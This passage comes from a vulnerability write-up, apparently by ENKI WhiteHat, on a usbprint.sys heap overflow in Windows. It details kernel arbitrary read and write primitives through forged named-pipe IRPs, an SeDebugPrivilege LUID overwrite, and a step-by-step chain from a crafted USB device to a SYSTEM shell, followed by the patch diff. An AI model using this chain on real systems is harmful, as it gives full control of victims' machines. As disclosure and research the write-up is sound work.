data_ptr = *(QWORD *)(*(QWORD *)(dqe + 0x10) + 0x18);  // IRP->SystemBuffer
memmove(user_buf, data_ptr + offset, copy_size);         // kernel → user copy
// npfs!NpReadDataQueue (EntryType == 1 branch)
data_ptr = *(QWORD *)(*(QWORD *)(dqe + 0x10) + 0x18);  // IRP->SystemBuffer
memmove(user_buf, data_ptr + offset, copy_size);         // kernel → user copy
// npfs!NpReadDataQueue (EntryType == 1 branch)
data_ptr = *(QWORD *)(*(QWORD *)(dqe + 0x10) + 0x18);  // IRP->SystemBuffer
memmove(user_buf, data_ptr + offset, copy_size);         // kernel → user copy

Since PeekNamedPipe is non-destructive (it does not remove the DQE), repeated arbitrary reads are possible by updating only the SystemBuffer:

BOOL ArbitraryRead(uint64_t addr, void* out, uint32_t size) {
    *(uint64_t*)(g_fake_page + 0x18) = addr;  // SystemBuffer = target
    return PeekNamedPipe(ghost_pipe.r, out, size, &nread, NULL, NULL);
}
BOOL ArbitraryRead(uint64_t addr, void* out, uint32_t size) {
    *(uint64_t*)(g_fake_page + 0x18) = addr;  // SystemBuffer = target
    return PeekNamedPipe(ghost_pipe.r, out, size, &nread, NULL, NULL);
}
BOOL ArbitraryRead(uint64_t addr, void* out, uint32_t size) {
    *(uint64_t*)(g_fake_page + 0x18) = addr;  // SystemBuffer = target
    return PeekNamedPipe(ghost_pipe.r, out, size, &nread, NULL, NULL);
}

4.5 Kernel Structure Walk

Although we have obtained an arbitrary read primitive, kernel addresses such as the base address of ntoskrnl.exe and PsInitialSystemProcess are required for privilege escalation. The only known kernel address is g_queue_addr (the OutQueue list head of the ghost pipe’s CCB) leaked in Section 4.3, so we traverse kernel structures starting from this value.

4.5.1 CCB → npfs.sys DRIVER_OBJECT

g_queue_addr points to the OutQueue (+0xA8) list head within the NP_CCB structure of the ghost pipe. From this, we can derive the CCB address as follows: CCB_addr = g_queue_addr - 0xA8.

The Named Pipe’s CCB contains a pointer to the server FILE_OBJECT. The FILE_OBJECT points to its corresponding DEVICE_OBJECT, which in turn points to the managing DRIVER_OBJECT. Since the ghost pipe is a Named Pipe managed by npfs.sys, following this chain leads to the DRIVER_OBJECT of npfs.sys:




4.5.2 DRIVER_OBJECT → ntoskrnl.exe base address

All loaded kernel modules are managed through a linked list of KLDR_DATA_TABLE_ENTRY structures. The DriverSection (+0x28) field of the DRIVER_OBJECT points to the KLDR_DATA_TABLE_ENTRY of the driver, so starting from the entry of npfs.sys and traversing the InLoadOrderLinks list allows us to enumerate all loaded modules in the system:




4.6 Arbitrary Write

Since we can freely read kernel structures using the arbitrary read primitive, we now construct an arbitrary write primitive to achieve privilege escalation.

4.6.1 Mechanism

When ReadFile is called on a Named Pipe, the kernel completes the IRP associated with the DQE. If BUFFERED_IO is set in the IRP, IopProcessBufferedIoCompletion performs memmove(UserBuffer, SystemBuffer, Information). This can be abused to write data to an arbitrary kernel address.

4.6.2 Structure of FAKE IRP




4.6.3 Route of IRP Completion

When the IRP is completed, IopProcessBufferedIoCompletion checks the Flags and performs the memmove. This is the core of the arbitrary write. Immediately after that, IopCompleteRequest attempts to free the IRP. However, since the forged IRP resides in user space, calling IoFreeIrp would cause the kernel to return user memory to the pool, resulting in a crash. Therefore, we add 0x8000 to Flags and set AllocationSize to 0 to bypass the IoFreeIrp call:

// ntoskrnl!IopProcessBufferedIoCompletion — arbitrary write trigger
if (Flags & 0x10) {                     // IRP_BUFFERED_IO
    if (Flags & 0x40) {                  // IRP_INPUT_OPERATION
        if (NT_SUCCESS(*(DWORD*)(irp+0x30))) {  // IoStatus.Status
            memmove(*(irp+0x70), *(irp+0x18), *(irp+0x38));
            // memmove(UserBuffer, SystemBuffer, Information)
        }
    }
}

// ntoskrnl!IopCompleteRequest — IoFreeIrp bypass
if (Flags & 0x8000) {
    value = *(irp+0x58);  // Overlay.AllocationSize
    refcount = ((value >> 1) & 3) - 1;  // AllocationSize=0 -> refcount=-1
    if (refcount != 0) return;           // -1 != 0 -> SKIP IoFreeIrp

// ntoskrnl!IopProcessBufferedIoCompletion — arbitrary write trigger
if (Flags & 0x10) {                     // IRP_BUFFERED_IO
    if (Flags & 0x40) {                  // IRP_INPUT_OPERATION
        if (NT_SUCCESS(*(DWORD*)(irp+0x30))) {  // IoStatus.Status
            memmove(*(irp+0x70), *(irp+0x18), *(irp+0x38));
            // memmove(UserBuffer, SystemBuffer, Information)
        }
    }
}

// ntoskrnl!IopCompleteRequest — IoFreeIrp bypass
if (Flags & 0x8000) {
    value = *(irp+0x58);  // Overlay.AllocationSize
    refcount = ((value >> 1) & 3) - 1;  // AllocationSize=0 -> refcount=-1
    if (refcount != 0) return;           // -1 != 0 -> SKIP IoFreeIrp

// ntoskrnl!IopProcessBufferedIoCompletion — arbitrary write trigger
if (Flags & 0x10) {                     // IRP_BUFFERED_IO
    if (Flags & 0x40) {                  // IRP_INPUT_OPERATION
        if (NT_SUCCESS(*(DWORD*)(irp+0x30))) {  // IoStatus.Status
            memmove(*(irp+0x70), *(irp+0x18), *(irp+0x38));
            // memmove(UserBuffer, SystemBuffer, Information)
        }
    }
}

// ntoskrnl!IopCompleteRequest — IoFreeIrp bypass
if (Flags & 0x8000) {
    value = *(irp+0x58);  // Overlay.AllocationSize
    refcount = ((value >> 1) & 3) - 1;  // AllocationSize=0 -> refcount=-1
    if (refcount != 0) return;           // -1 != 0 -> SKIP IoFreeIrp

4.6.4 Surviving IRP Completion

Since the fake IRP resides in user space, all fields accessed by the kernel during the IRP completion path must be valid. The following three aspects must be handled:

ETHREAD: The Tail.Overlay.Thread (+0x98) field of the IRP must contain a valid ETHREAD pointer. This is because IopCompleteRequest reads this field to manipulate the thread’s IRP list. Using the arbitrary read primitive obtained in Section 4.4, we traverse ActiveProcessLinks from PsInitialSystemProcess to locate the EPROCESS of the current PID, then traverse the ThreadListHead of that EPROCESS to find the ETHREAD of the current TID, and store it in this field.

ThreadListEntry self-link: IopDequeueIrpFromThread removes the IRP from the thread’s IRP list. This operation corresponds to RemoveEntryList on a doubly linked list. Since the forged IRP is not actually linked into the thread list, if Flink/Blink point to invalid locations, it will result in a crash. By setting both Flink and Blink of ThreadListEntry (+0x20) to point to itself (&IRP + 0x20), the validation of RemoveEntryList ( Flink->Blink == &entry && Blink->Flink == &entry) is satisfied, and the list structure remains intact:

; IopDequeueIrpFromThread
; Self-linked: Flink == Blink == &entry
; Flink->Blink == &entry
; Blink->Flink == &entry
; RemoveEntryList is a no-op
; IopDequeueIrpFromThread
; Self-linked: Flink == Blink == &entry
; Flink->Blink == &entry
; Blink->Flink == &entry
; RemoveEntryList is a no-op
; IopDequeueIrpFromThread
; Self-linked: Flink == Blink == &entry
; Flink->Blink == &entry
; Blink->Flink == &entry
; RemoveEntryList is a no-op

NpRemoveDataQueueEntry: When ReadFile is called on the ghost pipe, NpReadDataQueue processes the DQE and then calls NpRemoveDataQueueEntry. This function clears the CancelRoutine (+0x68) of the IRP associated with the DQE to 0 using InterlockedExchange64, and frees the SecurityContext if it exists. It then frees the DQE itself using ExFreePoolWithTag, but does not free the IRP. IofCompleteRequest is called by the caller, NpReadDataQueue. Therefore, the CancelRoutine (+0x68) of the forged IRP must be set to a non-zero value so that InterlockedExchange64 operates correctly.

4.6.5 Privilege Escalation

Once the arbitrary read primitive is established, it can be used very reliably. Although there are several approaches, we adopt the method described in the DevCore blog, which involves modifying SeDebugPrivilege.

We escalate privileges by modifying the global kernel variable nt!SeDebugPrivilege using the arbitrary write primitive.

When OpenProcess(PROCESS_ALL_ACCESS) is called, the kernel’s PsOpenProcess checks whether the caller’s token contains SeDebugPrivilege. The LUID used for this check is stored in the global variable nt!SeDebugPrivilege:

// ntoskrnl!PsOpenProcess (decompiled, simplified)
__int64 __fastcall PsOpenProcess(...)
{
    ...
    v33 = SeDebugPrivilege;                                          // [1]
    ...
    v36 = SepPrivilegeCheck(ClientToken, &v92, 1, 1, AccessMode);    // [2]
    ...
    if ( v36 )                                                       // [3]
    {
        if ( (PassedAccessState.RemainingDesiredAccess & 0x2000000) != 0 )
            PassedAccessState.PreviouslyGrantedAccess |= 0x1FFFFFu;  // PROCESS_ALL_ACCESS
        else
            PassedAccessState.PreviouslyGrantedAccess |= PassedAccessState.RemainingDesiredAccess;
        PassedAccessState.RemainingDesiredAccess = 0;
    }
    ...
}
// ntoskrnl!PsOpenProcess (decompiled, simplified)
__int64 __fastcall PsOpenProcess(...)
{
    ...
    v33 = SeDebugPrivilege;                                          // [1]
    ...
    v36 = SepPrivilegeCheck(ClientToken, &v92, 1, 1, AccessMode);    // [2]
    ...
    if ( v36 )                                                       // [3]
    {
        if ( (PassedAccessState.RemainingDesiredAccess & 0x2000000) != 0 )
            PassedAccessState.PreviouslyGrantedAccess |= 0x1FFFFFu;  // PROCESS_ALL_ACCESS
        else
            PassedAccessState.PreviouslyGrantedAccess |= PassedAccessState.RemainingDesiredAccess;
        PassedAccessState.RemainingDesiredAccess = 0;
    }
    ...
}
// ntoskrnl!PsOpenProcess (decompiled, simplified)
__int64 __fastcall PsOpenProcess(...)
{
    ...
    v33 = SeDebugPrivilege;                                          // [1]
    ...
    v36 = SepPrivilegeCheck(ClientToken, &v92, 1, 1, AccessMode);    // [2]
    ...
    if ( v36 )                                                       // [3]
    {
        if ( (PassedAccessState.RemainingDesiredAccess & 0x2000000) != 0 )
            PassedAccessState.PreviouslyGrantedAccess |= 0x1FFFFFu;  // PROCESS_ALL_ACCESS
        else
            PassedAccessState.PreviouslyGrantedAccess |= PassedAccessState.RemainingDesiredAccess;
        PassedAccessState.RemainingDesiredAccess = 0;
    }
    ...
}

At [1], it reads nt!SeDebugPrivilege (LUID, 8 bytes), and at [2], SepPrivilegeCheck compares this LUID with the privilege list in the caller’s token. If a match is found at [3], all requested access rights are granted.

The default LUID of SeDebugPrivilege is {LowPart=0x14, HighPart=0x0}. Since a medium-integrity process token does not contain this privilege, SepPrivilegeCheck returns FALSE.

However, the situation changes if the LowPart is replaced with the LUID of a privilege that is already present in a medium-integrity process token. For example, SeChangeNotifyPrivilege (LUID=0x17) is included in all standard process tokens. By modifying only 1 byte of nt!SeDebugPrivilege (changing LowPart from 0x14 to 0x17), SepPrivilegeCheck finds SeChangeNotifyPrivilege at [2] and returns TRUE. As a result, [3] grants PROCESS_ALL_ACCESS, allowing full access to SYSTEM processes (e.g., winlogon.exe).

Finally, calling OpenProcess(winlogon.exe, PROCESS_ALL_ACCESS) followed by CreateRemoteThread allows spawning a SYSTEM-level cmd.exe.

4.7 Putting It All Together

Based on the steps described so far, we summarize the overall exploit flow from USB device connection to SYSTEM privilege escalation.

1. USB Device Connection and Driver Loading

A specially crafted USB printer device is connected to the target system. The PnP manager loads usbprint.sys, and the configuration descriptor with InterfaceProtocol = 0x04 sets DeviceExtension[1065] = 1 and DeviceExtension[1064] = 0.

2. Dynamic Lookaside Pre-Activation

Perform 0x1000 iterations of Named Pipe alloc/free operations of size 0x210, repeated twice, and wait for the Balance Set Manager rebalance. This activates the 0x210 bucket in the kernel’s Dynamic Lookaside, allowing subsequent ghost chunks to be reliably reused via the SList.

3. LFH Spray

Create a large number of Named Pipes in the 0x100 LFH bucket. Place a fake POOL_HEADER (BlockSize = 0x21, PoolType = 0x0A) at the beginning of each pipe’s data region. Fix the CPU affinity so that all allocations are concentrated in the same LFH owner’s subsegment.

4. Hole Creation and IOCTL Trigger

Free pipes at the end of the spray array to create empty slots in the LFH, and immediately invoke IOCTL 0x220064. Make1284IdStringFromUsbStrings allocates IoSB and places it into the empty slot. When meta = 0x30, a 6-byte overflow occurs, overwriting the adjacent NpFr block’s POOL_HEADER with PreviousSize = 0x0D and PoolType = 0x06. When the IOCTL returns, the kernel frees IoSB.

5. Respray

Place a new Named Pipe (respray) into the freed IoSB slot. The fake POOL_HEADER (BlockSize = 0x21) is positioned at the first byte of the respray pipe’s data region, which becomes the landing point of the backward step.

6. Spray Free and Ghost Chunk Creation

Free all spray pipes. When a block with a corrupted POOL_HEADER is freed, the CacheAligned backward step in ExFreePoolWithTag is triggered and lands on the fake POOL_HEADER of the respray pipe. Due to the fake BlockSize = 0x21, a 0x210-byte ghost chunk is pushed into the Dynamic Lookaside SList.

7. Ghost Reclaim and Overlap Detection

Creating a Named Pipe with 0x1D0 bytes of data requires a 0x210 block, so the ghost chunk is popped from the Dynamic Lookaside and returned. The DQE of this ghost pipe physically overlaps with the data region of the respray pipe. When PeekNamedPipe is called on the respray pipe, the Flink value of the ghost DQE (a kernel address) is leaked to user mode.

8. Arbitrary Read Construction

Consume the respray pipe to free the corresponding LFH slot, and overwrite the ghost DQE with a rewrite pipe. Set EntryType = 1 and point Irp to a fake IRP in user space. Then, each call to PeekNamedPipe on the ghost pipe reads data from the kernel address specified in the fake IRP’s SystemBuffer.

9. ntoskrnl.exe Base Discovery

Traverse kernel structures starting from the leaked Flink value. From the DRIVER_OBJECT’s DriverSection, obtain the KLDR_DATA_TABLE_ENTRY and follow the InLoadOrderLinks list to enumerate modules, locating the DllBase of ntoskrnl.exe

10. Arbitrary Write and Privilege Escalation

Attach a forged IRP to the ghost DQE. Set the IRP Flags to BUFFERED_IO | INPUT_OPERATION | 0x8000, place the source kernel address in SystemBuffer, and the target address in UserBuffer. When ReadFile is called on the ghost pipe, IopProcessBufferedIoCompletion performs memmove(UserBuffer, SystemBuffer, size), resulting in an arbitrary kernel write. Using this, modify one byte of the LUID in nt!SeDebugPrivilege to match a privilege already held by a medium-integrity process (0x17, SeChangeNotifyPrivilege).

11. SYSTEM Shell

After modifying SeDebugPrivilege, OpenProcess(winlogon.exe, PROCESS_ALL_ACCESS) succeeds. By injecting shellcode that calls WinExec("cmd.exe") via CreateRemoteThread, a SYSTEM-level cmd.exe is spawned.

5. Patch

This vulnerability was patched by adding a bounds check before the copy operation. The code now verifies that the output buffer is large enough before writing data, instead of copying data without validating the buffer size.

   if ( v17 > 0x209 )
   {
     WriteDbgTraceInfo(
       "Make1284IdStringFromUsbStrings",
       L"Make1284IdStringFromUsbStrings: Encountered corrupt USB string descriptor");
     v5 = -1073741668;
   }

-  if ( v5 < 0 )
-    goto LABEL_25;
+  // [PATCH] Output buffer size validation
+  if ( (unsigned int)Feature_64687419__private_IsEnabledDeviceUsageNoInline() )
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+
+    if ( *a3 < v17 + 2 )
+    {
+      WriteDbgTraceWarning(
+        "Make1284IdStringFromUsbStrings",
+        L"USBPRINT.SYS: Output buffer is too small in Make1284IdStringFromUsbStrings");
+      v5 = -1073741789;
+      goto LABEL_25;
+    }
+  }
+  else
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+  }

   v18 = (char *)ExAllocatePool2(64, v17, 1346523989);
   v19 = v18;
   if ( v18 )
   {
         WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v19);
         *a2 = BYTE1(v17);
         a2[1] = v17;
         memmove(a2 + 2, v19, v17);
         *a3 = v17 + 2;
       }
   if ( v17 > 0x209 )
   {
     WriteDbgTraceInfo(
       "Make1284IdStringFromUsbStrings",
       L"Make1284IdStringFromUsbStrings: Encountered corrupt USB string descriptor");
     v5 = -1073741668;
   }

-  if ( v5 < 0 )
-    goto LABEL_25;
+  // [PATCH] Output buffer size validation
+  if ( (unsigned int)Feature_64687419__private_IsEnabledDeviceUsageNoInline() )
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+
+    if ( *a3 < v17 + 2 )
+    {
+      WriteDbgTraceWarning(
+        "Make1284IdStringFromUsbStrings",
+        L"USBPRINT.SYS: Output buffer is too small in Make1284IdStringFromUsbStrings");
+      v5 = -1073741789;
+      goto LABEL_25;
+    }
+  }
+  else
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+  }

   v18 = (char *)ExAllocatePool2(64, v17, 1346523989);
   v19 = v18;
   if ( v18 )
   {
         WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v19);
         *a2 = BYTE1(v17);
         a2[1] = v17;
         memmove(a2 + 2, v19, v17);
         *a3 = v17 + 2;
       }
   if ( v17 > 0x209 )
   {
     WriteDbgTraceInfo(
       "Make1284IdStringFromUsbStrings",
       L"Make1284IdStringFromUsbStrings: Encountered corrupt USB string descriptor");
     v5 = -1073741668;
   }

-  if ( v5 < 0 )
-    goto LABEL_25;
+  // [PATCH] Output buffer size validation
+  if ( (unsigned int)Feature_64687419__private_IsEnabledDeviceUsageNoInline() )
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+
+    if ( *a3 < v17 + 2 )
+    {
+      WriteDbgTraceWarning(
+        "Make1284IdStringFromUsbStrings",
+        L"USBPRINT.SYS: Output buffer is too small in Make1284IdStringFromUsbStrings");
+      v5 = -1073741789;
+      goto LABEL_25;
+    }
+  }
+  else
+  {
+    if ( v5 < 0 )
+      goto LABEL_25;
+  }

   v18 = (char *)ExAllocatePool2(64, v17, 1346523989);
   v19 = v18;
   if ( v18 )
   {
         WriteDbgTraceInfo("Make1284IdStringFromUsbStrings", L"Make1284IdStringFromUsbStrings: %hs", v19);
         *a2 = BYTE1(v17);
         a2[1] = v17;
         memmove(a2 + 2, v19, v17);
         *a3 = v17 + 2;
       }

6. Result

We identified a heap-based buffer overflow in usbprint.sys and demonstrated a full exploitation chain from a crafted USB device to SYSTEM privilege escalation.

By combining controlled USB descriptors, IOCTL interaction, and advanced heap manipulation techniques, we achieved reliable exploitation despite modern mitigations.

Our results highlight that even well-established subsystems like USB enumeration can expose critical attack surfaces when input validation is insufficient.

The full source code for the USB device emulator and exploit is available on our GitHub repository.

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

구독하기

콘텐츠가 유용했다면?
엔키 레터를 구독하세요!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.